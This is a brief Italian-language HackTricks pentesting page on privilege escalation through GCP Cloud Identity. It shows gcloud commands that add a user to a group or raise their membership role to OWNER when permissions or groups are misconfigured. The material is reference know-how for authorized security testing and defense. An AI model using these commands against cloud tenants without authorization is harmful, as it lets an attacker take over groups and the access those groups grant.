GCP - Cloudidentity Privesc

Reading time: 2 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cloudidentity

Per ulteriori informazioni sul servizio cloudidentity, controlla questa pagina:

GCP - IAM, Principals & Org Policies Enum

Aggiungiti a un gruppo

Se il tuo utente ha abbastanza permessi o il gruppo è mal configurato, potrebbe essere in grado di diventare membro di un nuovo gruppo:

bash
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
# If --roles isn't specified you will get MEMBER

Modifica dell'appartenenza al gruppo

Se il tuo utente ha abbastanza permessi o il gruppo è configurato in modo errato, potrebbe essere in grado di diventare PROPRIETARIO di un gruppo di cui è membro:

bash
# Check the current membership level
gcloud identity groups memberships describe --member-email <email> --group-email <email>

# If not OWNER try
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks